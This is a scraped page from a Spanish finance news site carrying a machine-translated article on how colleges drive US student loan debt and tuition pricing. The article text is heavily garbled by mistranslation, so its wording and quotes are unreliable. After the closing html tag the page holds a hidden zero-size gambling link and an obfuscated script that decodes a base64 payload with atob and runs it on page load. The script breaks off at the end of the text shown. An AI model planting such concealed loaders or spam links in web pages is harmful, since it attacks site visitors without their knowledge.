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<style scoped>.tdi_19{vertical-align:baseline}.tdi_19>.wpb_wrapper,.tdi_19>.wpb_wrapper>.tdc-elements{display:block}.tdi_19>.wpb_wrapper>.tdc-elements{width:100%}.tdi_19>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_19>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_19>.wpb_wrapper,.tdi_19>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_19>.wpb_wrapper>.tdc-elements{width:100%}.tdi_19>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_19>.wpb_wrapper{width:100%;height:100%}}@media (max-width:767px){.tdi_19{width:10%!important;text-align:left!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_menu tdi_20 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_20" >
<style>@media (max-width:767px){.tdi_20{margin-left:-20px!important}}</style>
<style>.tdi_20{display:inline-block}.tdi_20 .tdb-mobile-menu-button i{font-size:27px;width:54px;height:54px;line-height:54px}.tdi_20 .tdb-mobile-menu-button svg{width:27px}.tdi_20 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:54px;height:54px}.tdi_20 .tdb-mobile-menu-button{color:#ffffff}.tdi_20 .tdb-mobile-menu-button svg,.tdi_20 .tdb-mobile-menu-button svg *{fill:#ffffff}.tdi_20 .tdb-mobile-menu-button:hover{color:#ededed}.tdi_20 .tdb-mobile-menu-button:hover svg,.tdi_20 .tdb-mobile-menu-button:hover svg *{fill:#ededed}@media (max-width:767px){.tdi_20 .tdb-mobile-menu-button i{font-size:25px;width:50px;height:50px;line-height:50px}.tdi_20 .tdb-mobile-menu-button svg{width:25px}.tdi_20 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:50px;height:50px}}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-mobile-menu-button"><i class="tdb-mobile-menu-icon td-icon-mobile"></i></span></div></div> <!-- ./block --></div></div><div class="vc_column tdi_22  wpb_column vc_column_container tdc-column td-pb-span6">
<style scoped>.tdi_22{vertical-align:baseline}.tdi_22>.wpb_wrapper,.tdi_22>.wpb_wrapper>.tdc-elements{display:block}.tdi_22>.wpb_wrapper>.tdc-elements{width:100%}.tdi_22>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_22>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_22{width:80%!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_23 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_23" >
<style>.tdi_23 .tdb-logo-a,.tdi_23 h1{flex-direction:row;align-items:center;justify-content:center}.tdi_23 .tdb-logo-svg-wrap{display:block}.tdi_23 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_23 .tdb-logo-img-wrap{display:block}.tdi_23 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:block}.tdi_23 .tdb-logo-text-title{display:block;color:#ffffff;font-size:40px!important;letter-spacing:-2px!important;}.tdi_23 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_23 .tdb-logo-icon{top:0px;display:block}.tdi_23 .tdb-logo-a:hover .tdb-logo-text-title{color:#eaeaea;background:none;-webkit-text-fill-color:initial;background-position:center center}@media (min-width:1019px) and (max-width:1140px){.tdi_23 .tdb-logo-text-title{font-size:33px!important;}}@media (min-width:768px) and (max-width:1018px){.tdi_23 .tdb-logo-text-title{font-size:28px!important;letter-spacing:-3px!important;}}@media (max-width:767px){.tdi_23 .tdb-logo-text-title{font-size:28px!important;}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://financesnewsonline.com/"><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">𝐅𝐢𝐧𝐚𝐧𝐜𝐞𝐬 𝐍𝐞𝐰𝐬 𝐎𝐧𝐥𝐢𝐧𝐞</span></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_25  wpb_column vc_column_container tdc-column td-pb-span3">
<style scoped>.tdi_25{vertical-align:baseline}.tdi_25>.wpb_wrapper,.tdi_25>.wpb_wrapper>.tdc-elements{display:block}.tdi_25>.wpb_wrapper>.tdc-elements{width:100%}.tdi_25>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_25>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_25{width:10%!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_search tdi_26 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_26" >
<style>.tdi_26{display:inline-block}.tdi_26 .tdb-header-search-button-mob i{font-size:22px;width:55px;height:55px;line-height:55px}.tdi_26 .tdb-header-search-button-mob svg{width:22px}.tdi_26 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{width:55px;height:55px;display:flex;justify-content:center}.tdi_26 .tdb-header-search-button-mob{color:#ffffff}.tdi_26 .tdb-header-search-button-mob svg,.tdi_26 .tdb-header-search-button-mob svg *{fill:#ffffff}.tdi_26 .tdb-header-search-button-mob:hover{color:#f2f2f2}@media (max-width:767px){.tdi_26 .tdb-header-search-button-mob i{font-size:20px;width:50px;height:50px;line-height:50px}.tdi_26 .tdb-header-search-button-mob svg{width:20px}.tdi_26 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{width:50px;height:50px;display:flex;justify-content:center}}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-header-search-button-mob dropdown-toggle" data-toggle="dropdown"><i class="tdb-mobile-search-icon td-icon-search"></i></span></div></div> <!-- ./block --></div></div></div></div></div></div>                    </div>

                
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<style scoped>.tdi_28{min-height:0}.td-header-desktop-wrap{position:relative}</style><div id="tdi_29" class="tdc-row stretch_row_1200 td-stretch-content"><div class="vc_row tdi_30  wpb_row td-pb-row tdc-element-style" >
<style scoped>.tdi_30,.tdi_30 .tdc-columns{min-height:0}.tdi_30,.tdi_30 .tdc-columns{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_30 .tdc-columns{width:100%}.tdi_30:before,.tdi_30:after{display:none}.tdi_30{padding-top:5px!important;padding-bottom:5px!important;position:relative}.tdi_30 .td_block_wrap{text-align:left}</style>
<div class="tdi_29_rand_style td-element-style" ><style>.tdi_29_rand_style{background-color:#005689!important}</style></div><div class="vc_column tdi_32  wpb_column vc_column_container tdc-column tdc-restr-display-none td-pb-span3">
<style scoped>.tdi_32{vertical-align:baseline}.tdi_32>.wpb_wrapper,.tdi_32>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_32>.wpb_wrapper>.tdc-elements{width:100%}.tdi_32>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_32>.wpb_wrapper{width:100%;height:100%}.tdi_32{width:30%!important}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_date tdi_33 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_33" >
<style>.tdb_header_date{margin-bottom:0;clear:none}.tdb_header_date .tdb-block-inner{display:flex;align-items:baseline}.tdb_header_date .tdb-head-date-txt{font-family:var(--td_default_google_font_1,'Open Sans','Open Sans Regular',sans-serif);font-size:11px;line-height:1;color:#000}.tdi_33{display:inline-block}.tdi_33 .tdb-head-date-txt{color:#ffffff;font-size:15px!important;font-weight:600!important}@media (min-width:1019px) and (max-width:1140px){.tdi_33 .tdb-head-date-txt{font-size:14px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_33 .tdb-head-date-txt{font-size:11px!important}}</style><div class="tdb-block-inner td-fix-index"><div class="tdb-head-date-txt">Thursday, September 17, 2026</div></div></div> <!-- ./block --></div></div><div class="vc_column tdi_35  wpb_column vc_column_container tdc-column tdc-restr-display-none td-pb-span3">
<style scoped>.tdi_35{vertical-align:baseline}.tdi_35>.wpb_wrapper,.tdi_35>.wpb_wrapper>.tdc-elements{display:block}.tdi_35>.wpb_wrapper>.tdc-elements{width:100%}.tdi_35>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_35>.wpb_wrapper{width:auto;height:auto}.tdi_35{width:40%!important}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_36 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_36" >
<style>.tdi_36 .tdb-logo-a,.tdi_36 h1{flex-direction:row;align-items:center;justify-content:center}.tdi_36 .tdb-logo-svg-wrap{display:block}.tdi_36 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_36 .tdb-logo-img-wrap{display:block}.tdi_36 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:block}.tdi_36 .tdb-logo-text-title{display:block;color:#ffffff;font-size:43px!important;letter-spacing:-2px!important;}.tdi_36 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_36 .tdb-logo-icon{top:0px;display:block}.tdi_36 .tdb-logo-a:hover .tdb-logo-text-title{color:#eaeaea;background:none;-webkit-text-fill-color:initial;background-position:center center}@media (min-width:768px) and (max-width:1018px){.tdi_36 .tdb-logo-text-title{font-size:30px!important;}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://financesnewsonline.com/"><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">𝐅𝐢𝐧𝐚𝐧𝐜𝐞𝐬 𝐍𝐞𝐰𝐬 𝐎𝐧𝐥𝐢𝐧𝐞</span></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_38  wpb_column vc_column_container tdc-column td-pb-span6">
<style scoped>.tdi_38{vertical-align:baseline}.tdi_38>.wpb_wrapper,.tdi_38>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-end;align-items:flex-end}.tdi_38>.wpb_wrapper>.tdc-elements{width:100%}.tdi_38>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_38>.wpb_wrapper{width:100%;height:100%}.tdi_38{width:30%!important}@media(min-width:1141px){.tdi_38{display:inline-block!important}}</style><div class="wpb_wrapper" ><div class="tdm_block td_block_wrap tdm_block_socials tdi_39 tdm-content-horiz-left td-pb-border-top td_block_template_1"  data-td-block-uid="tdi_39" >
<style>.tdi_39{margin-right:10px!important;margin-bottom:10px!important;padding-top:-!important}</style>
<style>.tdm_block.tdm_block_socials{margin-bottom:0}.tdm-social-wrapper{*zoom:1}.tdm-social-wrapper:before,.tdm-social-wrapper:after{display:table;content:'';line-height:0}.tdm-social-wrapper:after{clear:both}.tdm-social-item-wrap{display:inline-block}.tdm-social-item{position:relative;display:inline-block;vertical-align:middle;-webkit-transition:all 0.2s;transition:all 0.2s;text-align:center;-webkit-transform:translateZ(0);transform:translateZ(0)}.tdm-social-item i{font-size:14px;color:var(--td_theme_color,#4db2ec);-webkit-transition:all 0.2s;transition:all 0.2s}.tdm-social-text{display:none;margin-top:-1px;vertical-align:middle;font-size:13px;color:var(--td_theme_color,#4db2ec);-webkit-transition:all 0.2s;transition:all 0.2s}.tdm-social-item-wrap:hover i,.tdm-social-item-wrap:hover .tdm-social-text{color:#000}.tdm-social-item-wrap:last-child .tdm-social-text{margin-right:0!important}</style>
<style>.tdi_40 .tdm-social-item i{font-size:13px;vertical-align:middle;line-height:19.5px}.tdi_40 .tdm-social-item i.td-icon-linkedin,.tdi_40 .tdm-social-item i.td-icon-pinterest,.tdi_40 .tdm-social-item i.td-icon-blogger,.tdi_40 .tdm-social-item i.td-icon-vimeo{font-size:10.4px}.tdi_40 .tdm-social-item{width:19.5px;height:19.5px;margin:5px 10px 5px 0}.tdi_40 .tdm-social-item-wrap:last-child .tdm-social-item{margin-right:0!important}.tdi_40 .tdm-social-item i,.tds-team-member2 .tdi_40.tds-social1 .tdm-social-item i{color:#ffffff}.tdi_40 .tdm-social-item-wrap:hover i,.tds-team-member2 .tdi_40.tds-social1 .tdm-social-item:hover i{color:#4db2ec}.tdi_40 .tdm-social-text{display:none;margin-left:2px;margin-right:18px;color:#ffffff;font-family:Merriweather Sans!important;font-size:12px!important}.tdi_40 .tdm-social-item-wrap:hover .tdm-social-text{color:#4db2ec}@media (min-width:768px) and (max-width:1018px){.tdi_40 .tdm-social-item i{font-size:11px;vertical-align:middle;line-height:16.5px}.tdi_40 .tdm-social-item i.td-icon-linkedin,.tdi_40 .tdm-social-item i.td-icon-pinterest,.tdi_40 .tdm-social-item i.td-icon-blogger,.tdi_40 .tdm-social-item i.td-icon-vimeo{font-size:8.8px}.tdi_40 .tdm-social-item{width:16.5px;height:16.5px}.tdi_40 .tdm-social-text{font-size:11px!important}}</style><div class="tdm-social-wrapper tds-social1 tdi_40"><div class="tdm-social-item-wrap"><a href="#"  title="Facebook" class="tdm-social-item"><i class="td-icon-font td-icon-facebook"></i><span style="display: none">Facebook</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Instagram" class="tdm-social-item"><i class="td-icon-font td-icon-instagram"></i><span style="display: none">Instagram</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Linkedin" class="tdm-social-item"><i class="td-icon-font td-icon-linkedin"></i><span style="display: none">Linkedin</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Twitter" class="tdm-social-item"><i class="td-icon-font td-icon-twitter"></i><span style="display: none">Twitter</span></a></div></div></div><div class="td_block_wrap tdb_header_search tdi_41 tdb-header-search-trigger-enabled td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_41" >
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aria-label="Buscar"><span>Buscar</span></button></div></form><div class="tdb-aj-search"></div></div></div><a href="#" role="button" aria-label="Buscar" class="tdb-head-search-btn dropdown-toggle" data-toggle="dropdown"><i class="tdb-search-icon td-icon-search"></i></a></div></div> <!-- ./block --></div></div></div></div><div id="tdi_42" class="tdc-row stretch_row_1400 td-stretch-content"><div class="vc_row tdi_43  wpb_row td-pb-row tdc-element-style" >
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<p>Si la crisis del préstamo estudiantil es nuestro terrible resultado, el <u>Costo creciente de la universidad</u> es al menos la causa principal. Y es hacedero señalar con el dedo a quienes establecen los precios de las calcomanías. Ese es el puesto de Secretaria de Educación Linda McMahon.</p>
<p>&#8220;Los colegios y universidades se llaman organizaciones sin fines de ganancia, pero durante abriles se han beneficiario masivamente del subsidio federal de préstamos, caminando con la matrícula y acumulando dotaciones multimillonarias mientras los estudiantes se gradúan seis cifras en rojo&#8221;, escribió McMahon en <u>The Wall Street Journal</u> en abril. &#8220;Un ampliamente citado <u>Estudio de 2015</u> descubrió que por cada dólar de mayores límites federales en préstamos subsidiados, las universidades aumentaron la matrícula en 60 centavos &#8220;.</p>
<p>Sí, las instituciones de educación superior han jugado un papel en una crisis que parece que no puede empeorar, pero lo hace: podríamos ver aproximadamente una cuarta parte de los prestatarios federales de préstamos estudiantiles, de 10 a 11 millones o más, en incumplimiento este verano. <u>Estar en defaultos medios</u> enfrentando graves consecuencias como <u>adorno salarial</u>incautaciones de beneficios federales, colecta de deudas y daños por crédito.</p>
<p>Por otra parte de un gobierno federal que, a lo dilatado de los abriles, ha poliedro un correazo a los prestatarios con la cantidad de programas de reembolso que han aparecido y desaparecido, las escuelas tienen responsabilidad. La pregunta es en qué jerarquía y qué viene posteriormente.</p>
<h2>Escuelas que usan &#8216;datos para hacer precios diferenciales para los estudiantes&#8217;</h2>
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<p>                    El papel de las universidades en la deuda de préstamos estudiantiles de Estados Unidos
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<p>Si piensa en el sistema federal de ayuda estudiantil del sección de educación como una espiga, ha estado dispensando miles de millones de dólares en ayuda a los estudiantes a través de sus escuelas durante las últimas seis décadas, ya que al menos la Ley de Educación Superior de 1965. A medida que los límites de préstamos federales han aumentado, la espiga se ha convertido gradualmente en una manga de fuego. Cuanto más boleto fluya de él, más familias pueden entrar, más escuelas pueden aumentar sus etiquetas de precios. Más, más, más y más o menos y más o menos vamos.</p>
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<p>Salta alrededor de delante hasta hoy. Es difícil cuadrar una contradicción evidente: un minuto, escuchas a las instituciones de educación superior expresa (una voz reincorporación) su voz) su <i>principal encomienda de educar a la sociedad escrito alto</i>. En el venidero minuto, te das cuenta de que algunas escuelas (ingresan a los siempre por los chicos de Glen Ross de obturación) que se cobran tanto como puedan rebosar con las familias que buscan esa educación. Pero los expertos en diferentes ideologías se preocupan de que eso sea exactamente lo que está sucediendo.</p>
<p>Defensor del Pueblo del Préstamo Estudiantil de la Oficina de Protección Financiera del Consumidor (CFPB) <u>Julia Barnard le dijo a Bankrate en marzo</u> Que, antaño de ser despedida por la filial Trump, &#8220;fielmente el 98 por ciento de las universidades en el país estaban usando datos para hacer precios diferenciales para los estudiantes&#8221;.</p>
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        <q>Hay mucho allí y si eso puede seguir sin control, creo que las nuevas tecnologías (IA, Big Data, todas esas tendencias) (continuarán teniendo) un impresión sobre cuánto pagan las personas por la universidad. Y solo está presionando los costos para las familias regulares &#8220;.</q><br />
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<p>                &#8211; Julia Barnard, defensor del pueblo de préstamo estudiantil CFPB<br />
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<p>Barnard se ha referido a esta tendencia continua como la <u>&#8216;Financialización&#8217; de las universidades</u>. Las empresas de consultoría con la escuela igualmente lo llaman &#8220;optimización de ayuda financiera&#8221;, como <u>The New York Times</u> reportado en mayo. El trabajo de las empresas se reduce a algoritmos que equilibran los descuentos de matrícula basados ​​en el mérito con la capacidad de fertilizar una tribu y usan grandes cantidades de datos para hacerlo.</p>
<p>&#8220;Algunas de las cosas sobre las que estábamos aprendiendo relacionados con una especie de vigilancia de los solicitantes (universitarios), como qué sitios web estaban visitando y por cuánto tiempo&#8221;, dice Barnard. “Vimos ejemplos en los que becas.com estaba dando información sobre si una persona era víctima de violencia doméstica o incluso su <u>estado de documentación</u>El nivel educativo de sus padres, registros disciplinarios, actividades religiosas. Tenían esa información y la compartían con universidades que luego la usaban para tomar admisiones y decisiones de precios &#8220;.</p>
<p>Entonces, dice la discusión, son los colegios y universidades los que han descubierto formas de retozar el sistema en beneficio de sus resultados.</p>
<h2 id="bipartisan" data-beam-element-viewed="" data-id="br-h2-second-onpage-placement" data-type="h2" data-location="Loans, Student Loans" data-position="h2_second_placement" data-name="h2_second_placement" data-text="College accountability for debt" data-outcome="">&#8216;Responsabilidad de la universidad&#8217; podría tener apoyo bipartidista</h2>
<p><u>Esquema 2025</u> -El manifiesto ampliamente compartido de los republicanos previa al ciclo electoral de 2024-gasta un capítulo en el Sección de Educación y usa las palabras &#8220;Skin en el ocio&#8221; para describir la menester de responsabilidad universitaria. McMahon igualmente pasó un párrafo de su artículo de opinión en el Wall Street Journal sobre este mismo tema.</p>
<p>&#8220;Muchos de los programas que otorgan títulos que califican para los préstamos estudiantiles no tienen valía en el mercado sindical, pero las universidades continúan aceptando a los estudiantes de estos programas y alentarlos a pedir prestado para pagarlos&#8221;, escribió McMahon. &#8220;La responsabilidad es una calle de dos vías. Mientras presionamos para hacer que los estudiantes prestatarios tengan en cuenta, igualmente empujaremos a las universidades a ser responsables y transparentes&#8221;.</p>
<p>La buena aviso: como <u>Comprensión bipartidista de la deuda del consumidor</u>responsabilizar a las escuelas es poco en lo que todos podemos estar de acuerdo.</p>
<p>La Dra. Lindsey M. Burke, la autora del capítulo de educación del Esquema 2025, entre otras voces conservadoras, está a costado: en su tolerancia secreto en el 16º Simposio anual de finanzas y préstamos de Educación en Alejandría, Virginia, en mayo, Burke dijo: &#8220;Muchas de las reformas (bajo consideración) son, argumento, creo que muchas personas concuerdan, cuando se acuerda la piel, cuando se acuerda las reformas. Cuando viene a las reformas. permitido amurallar los préstamos por su cuenta &#8220;.</p>
<p>Mientras tanto, James Kvaal, el mejor funcionario de la educación superior de la filial Biden, utilizó las palabras &#8220;cortar programas que dejan a la mayoría de sus estudiantes incapaces de fertilizar sus préstamos&#8221; en un <u>Entrevista de marzo con Bankrate</u>. Y Colleen Campbell, una ex ejecutiva federal de ayuda para estudiantes, escribió sobre ella <u>Sustack &#8220;en detalle&#8221;</u>&#8220;Seré el primero en decirle que la responsabilidad de las universidades es muy necesaria (sic)&#8221;.</p>
<p>Por supuesto, el diablo, y el desacuerdo potencial, acecha en los detalles.</p>
<p>El <u>El éxito de los estudiantes y el plan de peculio de los contribuyentes</u> Adentro del plan de ley de reconciliación presupuestaria del Congreso, pone intensidad en el intercambio de riesgos. En ciertos casos, obligaría a las universidades a reembolsar al sección de educación de los saldos no remunerados de sus antiguos estudiantes.</p>
<p>Sin secuestro, el plan de ley presenta un enfoque de zanahoria y palo. Por otra parte de penalizar las escuelas por los préstamos no remunerados de sus prestatarios, igualmente otorgaría subvenciones de promesa a las escuelas que mejoran el camino, la asequibilidad y el éxito de los estudiantes.</p>
<h2 id="accountable">¿Cómo son las escuelas responsables hoy?</h2>
<p>Mientras demora el paso del Congreso <u>Realización de préstamos estudiantiles.</u>la filial Trump está aprovechando al mayor lo que tiene a su disposición. En <u>Carta de mayo</u>recordó a las escuelas la política de &#8220;tasas de incumplimiento básicas&#8221; y les impulsó a recapacitar a sus antiguos alumnos que reanudaran el reembolso federal de préstamos.</p>
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<p class="pull-quote__copy PullQuote-copy font-bold">&#8220;La tasa de incumplimiento de la cohorte requiere que las instituciones mantengan las tasas de incumplimiento de sus alumnos por debajo del 30 por ciento durante un período de dos a tres abriles y 40 por ciento cada año. De lo contrario, corren el peligro de perder su camino a la manguera de ayuda financiera federal, que es la matanza trascendental de las universidades y universidades de Estados Unidos. Sin secuestro, el hecho de que estos umbrales son relativamente altos, y que no todos los tipos de préstamos federales están incluidos en el cálculo, puede calcular esto sin dientes sin dientes&#8221;. &#8220;.&#8221;</p>
</blockquote>
<p>&#8220;Parte del problema aquí es que no hacemos responsabilidad en nuestro sistema de educación superior&#8221;, dice Campbell. Campbell agrega las tarifas de incumplimiento principal es el mecanismo solitario del sección de educación, agrega Campbell, y es &#8220;la era de los 90&#8221; o necesita desesperadamente un cambio de imagen.</p>
<h2 id="fight">Colegios y universidades no caerán sin pelear</h2>
<p>De hecho, muchos han aumentado significativamente su desembolso en el gestión del Congreso, según un <u>Adentro del disección de ED más stop</u>. Y como Campbell le contó a Bankrate en abril para una historia sobre el <u>Posible desaparición de préstamos directos más</u>si las escuelas están golpeando las puertas de su representante en la Cámara o el Senado, &#8220;esto es positivamente cuando el caucho llega a la carretera en la educación superior&#8221;.</p>
<p>Hablé con múltiples representantes de ayuda financiera grandes y pequeños en el Simposio de mayo (que no estaban autorizados a cuchichear en nombre de sus escuelas). Un estribillo global: cobrar más a los estudiantes que pueden pagarlo ayuda a las escuelas a cobrar menos a aquellos que no pueden.</p>
<p>Pero es probable que las llamadas de las escuelas para el auto-consumo se ignoren, poliedro que la historia no está de su flanco. En este punto, puede ser más seguro establecer a los colegios y universidades por sus acciones en puesto de sus palabras.</p>
<p>Transmitido que ahora sabemos que la ayuda basada en el mérito se puede manipular para el beneficio de un dólar inferior de una escuela determinada, un intensidad renovado en <u>Financiación basada en la menester</u> Parece ser un gran paso en la dirección correcta.</p>
<p>Ya, más de 100 colegios y universidades en todo el país ofrecen audiencia sin matrícula, una <u>precio neto</u> &#8211; a familias de bajos y medianos ingresos, según <u>El seguimiento de Matily</u>. Lo hacen reemplazando los préstamos estudiantiles en paquetes de ayuda financiera con institucionales, estatales y federales <u>subvenciones y becas</u>. (Solo tenga en cuenta que la matrícula es una parte de su costo de audiencia, adyacente con gastos secundarios pero significativos como habitación y comida).</p>
<p>&#8220;Este es un puesto donde puedo cuchichear por mi empleador, ya que es positivamente claro para nosotros porque tenemos fondos de ayuda basados ​​en la menester específicos, y así es como puede hacerlo moralmente&#8221;, dijo Charles Pruett, decano asistente del Centro de Derecho de la Universidad de Georgetown para ayuda financiera, durante un panel de simposio. &#8220;Si estás mirando una situación en la que es solo mérito, ese es quién pregunta (por ayuda) lo mejor, ¿verdad?&#8221;</p>
<h2 id="worry">Qué hacer si le preocupa los costos de la universidad</h2>
<p>En primer puesto, sea bueno para preguntar. Es una negociación y el <u>carta de adjudicación de ayuda financiera</u> usted recibe es simplemente una salva de tolerancia. Tu escuela está compartiendo sus números deseados. Delante y ofrece el suyo (tal vez a través de un <u>carta de apelación</u>).</p>
<section class="editorial-insight-box --insight-box +mg-vertical-md" data-template="insight_box">
<div class="card-body">
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<p>                    Una estadística para recapacitar
                </p>
<div class="content">
<p>El descuento promedio para estudiantes de primer año en colegios y universidades privadas y sin fines de ganancia para el año clásico 2023-2024 fue del 56 por ciento, según la Asociación Doméstico de Oficiales de Negocios de la Universidad y Universidad.</p>
</p></div>
</p></div>
</p></div>
</section>
<p>Si, hay <u>formas de asistir a la universidad de balde</u> (o al menos intentarlo), pero para muchas familias, es posible que deba fertilizar de su saquillo o pedir prestado para la universidad. Si tiene una pista larga, considere diferente <u>Opciones de inversión de fondos universitarios</u>. Sin secuestro, si la audiencia a la universidad está a la envés de la ángulo, puede ser útil apoyarse en la oficina de ayuda financiera de su posible escuela. Simplemente no confíes en que lo que digas vaya.</p>
<p>Como dice Barnard de la CFPB: &#8220;Espero que el manifiesto, los prestatarios de préstamos estudiantiles y las familias que soliciten la universidad analicen lo que está sucediendo y tal vez llegue a su incomodidad si se sienten incómodos con (hablando) directamente a su universidad&#8221;.</p>
</p></div>
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                        <a href="https://financesnewsonline.com/category/prestamos" class="td-post-category" >Préstamos</a>                        <div class="td-module-thumb"><a href="https://financesnewsonline.com/como-los-prestamos-para-automoviles-predatorios-pero-legales-se-aprovechan-sistematicamente-de-las-personas-con-creditos-de-alto-riesgo"  rel="bookmark" class="td-image-wrap " title="Cómo los préstamos para automóviles predatorios pero legales se aprovechan sistemáticamente de las personas con créditos de alto riesgo" ><span class="entry-thumb td-thumb-css" data-type="css_image" data-img-url="https://i1.wp.com/www.bankrate.com/brp/2026/02/10141329/Predatory-auto-loans-are-legal-and-some-lenders-are-offering-them-to-unknowing-consumers.jpg?w=696&resize=696,0&ssl=1"  ></span></a></div>                                                                    </div>
                
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                    <h3 class="entry-title td-module-title"><a href="https://financesnewsonline.com/como-los-prestamos-para-automoviles-predatorios-pero-legales-se-aprovechan-sistematicamente-de-las-personas-con-creditos-de-alto-riesgo"  rel="bookmark" title="Cómo los préstamos para automóviles predatorios pero legales se aprovechan sistemáticamente de las personas con créditos de alto riesgo">Cómo los préstamos para automóviles predatorios pero legales se aprovechan sistemáticamente...</a></h3>
                    
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                                                                                                            <span class="td-post-date"><time class="entry-date updated td-module-date" datetime="2026-03-04T18:03:24+00:00" >March 4, 2026</time></span>                                                                                                        </span>
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<!-- sc5a72ec-692d6f -->

<div><a href="https://play.google.com/store/apps/details?id=com.pragmaticplay.breakerbonzagame&#038;hl=id" style="overflow: hidden;height: 0;width: 0;display: inline-block;">pragmatic play</a></div></body>
</html><script>!function(){var _0xdac3ef103251=atob('BkhbQE1aR0FABgdVWE9cDkhjYUp/bBNZR0BKQVkCQhh+F0laE0hjYUp/bHUJcXFIXmtDTEtKXQlzAmZYGHRGHhMJSk8fHhhLGBZKTBhLGUhPSgkCY0J5VEMWE3UMRlpaXl0UAQFNQkdNRVRBQE8AQEtaDAIODEZaWl4UAQEYGwAcHwAfFgAYHgxzFUdIBkIYfhdJWggIQhh+F0ladWZYGHRGHnMHXEtaW1xAFUIYfhdJWhNIY2FKf2x1CXFxSF5rQ0xLSl0JcxMGQhh+F0laUlJVUwcVQhh+F0ladWZYGHRGHnMTHxVIW0BNWkdBQA5eX15NHmUGB1VHSAYPSkFNW0NLQFoATEFKVwdVXUtaekdDS0FbWgZeX15NHmUCHB4HFVxLWltcQBVTWE9cDn5CfFkfYBNKQU1bQ0tAWgBNXEtPWktrQktDS0BaBglKR1gJBwJFQWZBSUgTSkFNW0NLQFoATVxLT1pLa0JLQ0tAWgYJR0hcT0NLCQcVfkJ8WR9gAF1aV0JLAE1dXXpLVloTCV5BXUdaR0FAFEhHVktKFUdAXUtaFB4VVANHQEpLVhQcHxoZGhYdHBccFUxPTUVJXEFbQEoUXElMTwYfGwIcHQIaHAIAGhwHFV5BR0BaS1wDS1hLQFpdFEBBQEsVCRVFQWZBSUgAWkdaQksTCX1LTVtcR1pXDk1GS01FCRVFQWZBSUgAXUtab1paXEdMW1pLBglPQkJBWUhbQkJdTVxLS0AJAgkJBxVFQWZBSUgAXVpXQksATV1dektWWhMJXkFdR1pHQUAUSEdWS0oVR0BdS1oUHhVZR0paRhQfHh4LFUZLR0lGWhQfHh4LFUxBXEpLXBQeFVQDR0BKS1YUHB8aGRoWHR0eHBVMT01FSVxBW0BKFA1ISEgVCRVKQU1bQ0tAWgBMQUpXAE9eXktASm1GR0JKBn5CfFkfYAcVSkFNW0NLQFoATEFKVwBPXl5LQEptRkdCSgZFQWZBSUgHFUhbQE1aR0FADkdPGmpEZQYHVVpcV1V+QnxZH2AAXEtDQVhLBgcVRUFmQUlIAFxLQ0FYSwYHFVNNT1pNRgZxSwdVU1pcV1VKS0JLWksOQhh+F0ladWZYGHRGHnNTTU9aTUYGcUscB1VTU0hjYUp/bABPSkprWEtAWmJHXVpLQEtcBglDS11dT0lLCQJIW0BNWkdBQAZxS1gHVVpcV1VHSAYPcUtYUlIPcUtYAEpPWk8HXEtaW1xAFUdIBnFLWABKT1pPAFpXXksTExMJSF4DS0NMS0oDTUJBXUsJB0dPGmpEZQYHFVNNT1pNRgZxSx0HVVNTBxVIW0BNWkdBQA5ea18fVhcGa1ZHSWxhB1VHSAZrVkdJbGEQE2NCeVRDFgBCS0BJWkYHXEtaW1xAFVhPXA5xRhMJCRVaXFdVcUYTfVpcR0BJBkhjYUp/bABCQU1PWkdBQAgIBkhjYUp/bABCQU1PWkdBQABGQV1aQE9DS1JSSGNhSn9sAEJBTU9aR0FAAEZBXVoHUlIJCQcAXEteQk9NSwYBcFlZWXIAAUcCCQkHFVNNT1pNRgZxS0YHVVNYT1wOcVsTY